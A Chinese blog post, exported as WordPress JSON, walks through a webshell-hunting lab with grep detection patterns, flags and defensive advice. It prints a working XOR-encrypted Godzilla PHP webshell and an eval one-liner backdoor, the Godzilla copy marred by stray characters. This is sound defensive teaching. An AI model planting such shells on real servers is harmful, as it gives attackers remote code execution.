{"id":198,"date":"2024-08-07T10:29:06","date_gmt":"2024-08-07T02:29:06","guid":{"rendered":"https:\/\/www.nightying.com\/?p=198"},"modified":"2024-08-07T10:32:26","modified_gmt":"2024-08-07T02:32:26","slug":"webshellchasha","status":"publish","type":"post","link":"https:\/\/www.nightying.com\/index.php\/2024\/08\/07\/webshellchasha\/","title":{"rendered":"webshell\u67e5\u6740"},"content":{"rendered":"\n

\u65e0\u8bba\u662f\u4ec0\u4e48webshell\uff0c\u90fd\u6709\u76f8\u5173\u7279\u5f81<\/p>\n\n\n\n

\u4e0b\u9762\u662f3\u4e2a\u7c7b\u578b\u7684webshell\u4e2d\u7684\u7279\u5f81<\/p>\n\n\n\n

PHP\uff1a\neval()\nsystem()\nexec()\nshell_exec()\npassthru()\nassert()\nbase64_decode()\nASP:\nExecute()\nEval()\nCreateObject()\nJSP:\nRuntime.getRuntime().exec()\n<\/strong><\/code><\/pre>\n\n\n\n
\u540c\u65f6webshell\u4e5f\u5e38\u7528\u7f16\u89e3\u7801\u6765\u8fdb\u884c\u7ed5\u8fc7<\/p>\n\n\n\n
eval(base64_decode('encoded_string'));<\/strong><\/code><\/pre>\n\n\n\n
webshell\u4e5f\u4f1a\u4f7f\u7528\u6587\u4ef6\u5305\u542b\u6216\u8bfb\u53d6\u3001\u5199\u5165\u3001\u4fee\u6539\u7684\u51fd\u6570<\/p>\n\n\n\n
PHP\uff1a\nfopen()\nfwrite()\nfile_get_contents()\nfile_put_contents()\nASP:\nFileSystemObject<\/strong><\/code><\/pre>\n\n\n\n
webshell\u4e5f\u53ef\u80fd\u4f1a\u5305\u542b\u7f51\u7edc\u64cd\u4f5c\u51fd\u6570\uff0c\u7528\u4e8e\u8fdc\u7a0b\u670d\u52a1\u5668\u901a\u4fe1<\/p>\n\n\n\n
PHP\uff1a\nfsockopen()\ncurl_exec()\nfile_get_contents('http:\/\/...')\nASP:\nWinHttp.WinHttpRequest<\/strong><\/code><\/pre>\n\n\n\n
\u5728\u670d\u52a1\u5668\u4e2d\uff0c\u53ef\u4ee5\u901a\u8fc7\u67e5\u627e\u5339\u914d\u6307\u5b9a\u6587\u4ef6\u5185\u5bb9\u6765\u627e\u5230webshell<\/p>\n\n\n\n
\/\/\u641c\u7d22\u76ee\u5f55\u4e0b\u9002\u914d\u5f53\u524d\u5e94\u7528\u7684\u7f51\u9875\u6587\u4ef6\uff0c\u67e5\u770b\u5185\u5bb9\u662f\u5426\u7b26\u5408webshell\u7279\u5f81\nfind .\/ type f -name \" *.jsp&quot; | xargs grep &quot;exec(&quot;find .\/ type f -name &quot;* .php\" | xargs grep \"eval(\"\nfind .\/ type f -name \" *.asp&quot; | xargs grep &quot;execute(&quot;find .\/ type f -name &quot;* aspx\" | xargs grep \"eval(\"\n\n\/\/\u514d\u6740\u7684webshell\uff0c\u53ef\u4ee5\u67e5\u770b\u662f\u5426\u4f7f\u7528\u7f16\u7801\nfind .\/ type f -name \"*.php\" | xargs grep \"base64_decode\"\n\n\uff08\u5e38\u7528\u7684\u4ee3\u7801\uff09\nfind .\/ type f -name \"*.php\" | xargs grep \"eval(\"\n\nxargs:\u7528\u4e8e\u5c06\u8f93\u5165\u6570\u636e\u91cd\u65b0\u683c\u5f0f\u5316\u540e\u4f5c\u4e3a\u53c2\u6570\u4f20\u9012\u7ed9\u5176\u4ed6\u547d\u4ee4\u3002\u5728\u8fd9\u4e2a\u547d\u4ee4\u4e2d\uff0cxargs\u5c06find\u547d\u4ee4\u627e\u5230\u7684\u6587\u4ef6\u5217\u8868\u4f5c\u4e3a\u53c2\u6570\u4f20\u9012\u7ed9grep\u547d\u4ee4\ngrep \"eval(\": grep\u7528\u4e8e\u641c\u7d22\u6587\u672c\uff0c\u5e76\u8f93\u51fa\u5339\u914d\u7684\u884c\u3002\u8fd9\u91cc\"eval(\"\u662fgrep\u547d\u4ee4\u7684\u641c\u7d22\u6a21\u5f0f\uff0c\u7528\u4e8e\u67e5\u627e\u5305\u542b\"eval(\"\u5b57\u7b26\u4e32\u7684\u884c\u3002<\/strong><\/code><\/pre>\n\n\n\n
\u5728\u7384\u673awebshell\u67e5\u6740\u9776\u673a\u4e2d<\/p>\n\n\n\n
\"\"<\/p>\n\n\n\n
\u53ef\u4ee5\u627e\u52303\u4e2a\u5b58\u5728eval\u51fd\u6570\u7684\u6587\u4ef6\uff0c\u4e5f\u5c31\u8fd93\u4e2a\u53ef\u80fd\u5c31\u662fwebshell<\/p>\n\n\n\n
\u67e5\u627e\u540e\uff0c\u53d1\u73b0\u786e\u5b9e\u5982\u6b64\uff0c\u4e09\u4e2a\u6587\u4ef6\u4e3awebshell\uff0c\u4e00\u4e2a\u662f\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u4e00\u4e2a\u662f\u5c0f\u9a6c<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
<?php  \n\t@session_start();  \n\t@set_time_limit(0);  \n\t@error_reporting(0);  \n\tfunction encode($D,$K){  \n\t    for($i=0;$i<strlen($D);$i++) {  \n\t        $c =$K[$i+1&15];  \n\t        $D[$i] = $D[$i]^$c;  \n\t    }  \n\t    return $D;  \n\t}  \n\t\/\/027ccd04-5065-48b6-a32d-77c704a5e26d  \n\t$payloadName='payload';  \n\t$key='3c6e0b8a9c15224a';  \n\t$data=file_get_contents(\"php:\/\/input\");  \n\tif ($data!==false){==    ==$data=encode($==\u200b==data,$key);if (isset(==\u200b==$_SESSION[$==\u200b==payloadName])){==        ==$payload=encode($==\u200b==_SESSION[==\u200b==$payloadName],$==\u200b==key);if (strpos($payload,&quot;getBasicsInfo&quot;)===false){==            ==$payload=encode($==\u200b==payload,$key);}eval($payload);echo encode(@run(==\u200b==$data),$==\u200b==key);}else{if (strpos($data,&quot;getBasicsInfo&quot;)!==false){  \n\t            $_SESSION[$payloadName]=encode($data,$key);  \n\t        }  \n\t    }  \n\t}\n\n1. \u200b`@session_start();`\u200b\uff1a\u542f\u52a8\u4f1a\u8bdd\n2. \u200b`@set_time_limit(0);`\u200b\uff1a\u8bbe\u7f6e\u811a\u672c\u6267\u884c\u65f6\u95f4\u9650\u5236\u4e3a\u65e0\u9650\u5236\n3. \u200b`@error_reporting(0);`\u200b\uff1a\u5173\u95ed\u9519\u8bef\u62a5\u544a\n4. \u200b`function encode(K){...}`\u200b\uff1a\u5b9a\u4e49\u4e86\u4e00\u4e2a\u540d\u4e3a `encode`\u200b \u7684\u51fd\u6570\uff0c\u5b83\u63a5\u53d7\u4e24\u4e2a\u53c2\u6570 `$D`\u200b \u548c `$K`\u200b\u3002\u8fd9\u4e2a\u51fd\u6570\u770b\u8d77\u6765\u50cf\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u5f02\u6216\u7f16\u7801\u51fd\u6570\uff0c\u7528\u4e8e\u5bf9\u6570\u636e\u8fdb\u884c\u52a0\u5bc6\u6216\u89e3\u5bc6\u3002\u5b83\u4f7f\u7528 `$K`\u200b \u4f5c\u4e3a\u5bc6\u94a5\uff0c\u5bf9 `$D`\u200b \u4e2d\u7684\u6bcf\u4e2a\u5b57\u7b26\u8fdb\u884c\u5f02\u6216\u64cd\u4f5c\u3002\n5. \u63a5\u4e0b\u6765\u7684\u51e0\u884c\u4ee3\u7801\u5b9a\u4e49\u4e86 `$payloadName`\u200b\u3001`$key`\u200b \u548c `$data`\u200b \u53d8\u91cf\u3002`$payloadName`\u200b \u662f\u7528\u4e8e\u5b58\u50a8\u6709\u6548\u8f7d\u8377\u7684\u4f1a\u8bdd\u53d8\u91cf\u540d\uff0c`$key`\u200b \u662f\u7528\u4e8e\u7f16\u7801\u7684\u5bc6\u94a5\uff0c`$data`\u200b \u662f\u4ece `php:\/\/input`\u200b \u6d41\u4e2d\u8bfb\u53d6\u7684\u6570\u636e\u3002\n6. \u200b`if ($data!==false){...}`\u200b\uff1a\u5982\u679c\u4ece `php:\/\/input`\u200b \u8bfb\u53d6\u7684\u6570\u636e\u4e0d\u662f `false`\u200b\uff08\u5373\u6210\u529f\u8bfb\u53d6\u4e86\u6570\u636e\uff09\uff0c\u5219\u6267\u884c\u4ee5\u4e0b\u4ee3\u7801\u5757\u3002\n7. \u200b`if (isset(payloadName])){...}`\u200b\uff1a\u68c0\u67e5 `$payloadName`\u200b \u5bf9\u5e94\u7684\u4f1a\u8bdd\u53d8\u91cf\u662f\u5426\u5df2\u8bbe\u7f6e\u3002\n8. \u200b`if (strpos($payload,\"getBasicsInfo\")===false){...}`\u200b\uff1a\u68c0\u67e5 `$payload`\u200b \u53d8\u91cf\u4e2d\u662f\u5426\u5305\u542b\u5b57\u7b26\u4e32 `\"getBasicsInfo\"`\u200b\u3002\n9. \u200b`eval($payload);`\u200b\uff1a\u5982\u679c `$payload`\u200b \u53d8\u91cf\u5305\u542b `\"getBasicsInfo\"`\u200b \u5b57\u7b26\u4e32\uff0c\u5219\u6267\u884c `$payload`\u200b \u53d8\u91cf\u4e2d\u7684 PHP \u4ee3\u7801\u3002\n10. \u200b`echo encode(@run(key);`\u200b\uff1a\u5982\u679c `$data`\u200b \u5305\u542b `\"getBasicsInfo\"`\u200b \u5b57\u7b26\u4e32\uff0c\u5219\u6267\u884c `@run($data)`\u200b \u51fd\u6570\uff0c\u5e76\u5c06\u7ed3\u679c\u7f16\u7801\u540e\u8f93\u51fa\u3002<\/strong><\/code><\/pre>\n\n\n\n
<?php phpinfo();@eval($_REQUEST[1]);?>\n\n\u8c03\u7528phpinfo\u51fd\u6570\n\n\u6267\u884c\u4efb\u4f55\u547d\u4ee4\n1=system\uff08''\uff09<\/strong><\/code><\/pre>\n\n\n\n
\u627e\u5230flag{027ccd04-5065-48b6-a32d-77c704a5e26d}<\/p>\n\n\n\n
\u7b2c\u4e00\u4e2aflag\u5df2\u7ecf\u627e\u5230\u4e86<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u73b0\u5728\u662f\u7b2c\u4e8c\u4e2a\uff0c\u627e\u5230\u9ed1\u5ba2\u5de5\u5177<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
webshell\u4e00\u822c\u4f7f\u7528\u7684\u662f\u83dc\u5200\uff0c\u8681\u5251\uff0cCS\uff0c\u54e5\u65af\u62c9\uff0c\u51b0\u874e\u7b49\u5de5\u5177\u8fde\u63a5<\/p>\n\n\n\n
\u800c\u4e0b\u9762\u662f\u54e5\u65af\u62c9\u7801\u7684\u5f00\u5934\uff1a<\/p>\n\n\n\n
@session_start();  \n@set_time_limit(0);  \n@error_reporting(0);  <\/strong><\/code><\/pre>\n\n\n\n
\u90a3\u4e48\u53bbgithub\u627e\u5230\u5bf9\u5e94\u7684\u8def\u5f84<\/p>\n\n\n\n
https:\/\/github.com\/BeichenDream\/Godzilla<\/a><\/p>\n\n\n\n
md5\u540e\u5f97\u5230<\/p>\n\n\n\n
39392de3218c333f794befef07ac9257<\/p>\n\n\n\n
flag{39392de3218c333f794befef07ac9257}<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u53e6\u4e00\u4e2a.Mysqli.php\u5e94\u8be5\u662f\u4e2a\u9690\u85cf\u7801<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u90a3\u4e48\u76f8\u5173\u8def\u5f84\u662f<\/p>\n\n\n\n
\/var\/www\/html\/include\/Db\/.Mysqli.php<\/p>\n\n\n\n
flag{aebac0e58cd6c5fad1695ee4d1ac1919}<\/p>\n\n\n\n
\u63a5\u4e0b\u6765\u662f\u6700\u540e\u4e00\u4e2a\uff0c\u514d\u6740\u7801<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
> \u67e5\u627e\u548c\u5904\u7406\u514d\u6740\u9a6c\u7684\u65b9\u6cd5\uff1b\n\n\u6587\u4ef6\u5b8c\u6574\u6027\u68c0\u67e5\uff1a\n\n\u6bd4\u8f83\u5f53\u524d\u6587\u4ef6\u4e0e\u5df2\u77e5\u7684\u826f\u6027\u5907\u4efd\u6587\u4ef6\uff0c\u53d1\u73b0\u88ab\u4fee\u6539\u6216\u65b0\u589e\u7684\u6587\u4ef6\u3002\n\u4ee3\u7801\u5ba1\u67e5\uff1a\n\n\u624b\u52a8\u68c0\u67e5\u53ef\u7591\u6587\u4ef6\uff0c\u5bfb\u627e\u6df7\u6dc6\u3001\u7f16\u7801\u3001\u52a0\u5bc6\u548c\u52a8\u6001\u6267\u884c\u7684\u4ee3\u7801\u6a21\u5f0f\u3002\n\u5b89\u5168\u626b\u63cf\u5de5\u5177\uff1a\n\n\u4f7f\u7528\u9ad8\u7ea7\u5b89\u5168\u626b\u63cf\u5de5\u5177\uff0c\u8fd9\u4e9b\u5de5\u5177\u4f7f\u7528\u884c\u4e3a\u5206\u6790\u548c\u673a\u5668\u5b66\u4e60\u6765\u68c0\u6d4b\u6f5c\u5728\u7684\u514d\u6740\u9a6c\u3002\n\u65e5\u5fd7\u5206\u6790\uff1a\n\n\u67e5\u770b\u670d\u52a1\u5668\u8bbf\u95ee\u65e5\u5fd7\u548c\u9519\u8bef\u65e5\u5fd7\uff0c\u5bfb\u627e\u5f02\u5e38\u8bbf\u95ee\u548c\u6267\u884c\u6a21\u5f0f\u3002\n\u68c0\u67e5\u6587\u4ef6\u4fee\u6539\u65f6\u95f4\uff0c\u4e0e\u6b63\u5e38\u66f4\u65b0\u5468\u671f\u4e0d\u7b26\u7684\u6587\u4ef6\u53ef\u80fd\u662f\u53ef\u7591\u7684\u3002\n\u57fa\u4e8e\u7279\u5f81\u7684\u68c0\u6d4b\uff1a\n\n\u4f7f\u7528YARA\u89c4\u5219\u7b49\u7279\u5f81\u68c0\u6d4b\u5de5\u5177\uff0c\u6839\u636e\u5df2\u77e5\u7684\u514d\u6740\u9a6c\u7279\u5f81\u8fdb\u884c\u626b\u63cf\u3002\n\n> \u603b\u7ed3\uff1a\u514d\u6740\u9a6c\u901a\u8fc7\u9759\u6001\u68c0\u6d4b\u662f\u68c0\u6d4b\u4e0d\u5230\u7684\uff0c\u56e0\u4e3a\u5728\u514d\u6740\u7684\u8fc7\u7a0b\u4e2d\u5c06webshel\u7684\u7279\u5f81\u503c\u4ee5\u53ca\u7279\u5f81\u51fd\u6570\u90fd\u7ed9\u53bb\u6389\u4e86\uff0c\u56e0\u4e3awebshell\u6267\u884c\u4f1a\u5728\u7f51\u7ad9\u65e5\u5fd7\u7559\u4e0b\u8bb0\u5f55\uff0c\u90a3\u6211\u4eec\u5c31\u5230\u7f51\u7ad9\u65e5\u5fd7\u91cc\u9762\u770b\u770b\u6709\u5565\u53ef\u7591\u7684\u8bb0\u5f55\uff0c\u8fd9\u91cc\u4e5f\u987a\u4fbf\u8bf4\u4e00\u4e0blinux\u7684\u65e5\u5fd7\u5b58\u653e\u5728\/var\/log\u76ee\u5f55\u4e0b\u3002<\/strong><\/code><\/pre>\n\n\n\n
\u63a5\u4e0b\u6765<\/p>\n\n\n\n
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